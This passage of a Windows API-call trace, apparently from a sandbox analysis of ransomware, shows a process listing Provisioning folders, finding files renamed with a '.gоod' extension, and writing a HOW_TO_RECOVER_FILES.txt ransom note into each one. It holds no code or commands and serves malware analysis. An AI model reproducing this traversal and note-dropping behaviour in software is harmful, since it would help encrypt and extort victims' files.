ftLastWriteTime.dwLowDateTime=0x43b0a5f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0142.740] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.740] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0142.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0142.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0142.740] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", lpFilePart=0x0) returned 0x55 [0142.740] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.740] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.740] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b307df, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.740] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0142.741] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43b0a5f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 1 [0142.741] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x43b0a5f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.gоod", cAlternateFileName="")) returned 0 [0142.741] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0142.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0142.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0142.741] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0142.741] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.741] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.742] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0142.742] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b307df, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.742] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.742] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0142.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0142.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9340) returned 1 [0142.745] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x10f8de0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", lpFilePart=0x0) returned 0x5d [0142.745] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*", lpFindFileData=0x10f9060 | out: lpFindFileData=0x10f9060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.745] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.745] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0142.745] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b307df, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.745] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10f9020 | out: lpFindFileData=0x10f9020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b307df, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x43b307df, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x43b307df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0142.745] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9280) returned 1 [0142.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9240) returned 1 [0142.746] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f8d90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x76 [0142.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f92b0) returned 1 [0142.746] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0142.747] GetFileType (hFile=0x618) returned 0x1 [0142.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9220) returned 1 [0142.747] GetFileType (hFile=0x618) returned 0x1 [0142.747] WriteFile (in: hFile=0x618, lpBuffer=0x3d35b80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9378, lpOverlapped=0x0 | out: lpBuffer=0x3d35b80*, lpNumberOfBytesWritten=0x10f9378*=0x5d0, lpOverlapped=0x0) returned 1 [0142.748] CloseHandle (hObject=0x618) returned 1 [0142.748] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6e [0142.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0142.748] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0142.749] GetFileType (hFile=0x618) returned 0x1 [0142.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0142.749] GetFileType (hFile=0x618) returned 0x1 [0142.750] WriteFile (in: hFile=0x618, lpBuffer=0x3d39488*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3d39488*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0142.750] CloseHandle (hObject=0x618) returned 1 [0142.751] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x69 [0142.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0142.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0142.751] GetFileType (hFile=0x618) returned 0x1 [0142.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0142.751] GetFileType (hFile=0x618) returned 0x1 [0142.752] WriteFile (in: hFile=0x618, lpBuffer=0x3d3cd80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3d3cd80*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0142.752] CloseHandle (hObject=0x618) returned 1 [0142.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0142.753] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpFilePart=0x0) returned 0x50 [0142.753] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x42bfb616, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431cb480, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.753] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x42bfb616, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431cb480, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.754] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x4217332d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0142.754] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431cb480, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x431cb480, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431cb480, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.754] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x42bfb616, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0142.754] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0142.754] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0142.754] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0142.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0142.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0142.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0142.755] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}", lpFilePart=0x0) returned 0x50 [0142.755] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431cb480, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431cb480, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0142.755] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431cb480, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431cb480, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.755] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x4217332d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.gоod", cAlternateFileName="")) returned 1 [0142.755] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x431cb480, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x431cb480, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431cb480, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0142.755] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ed1a9f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ed1a9f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x42bfb616, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.gоod", cAlternateFileName="")) returned 1 [0142.755] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x431a521c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x431a521c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0142.756] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0142.756] FindClose (in: 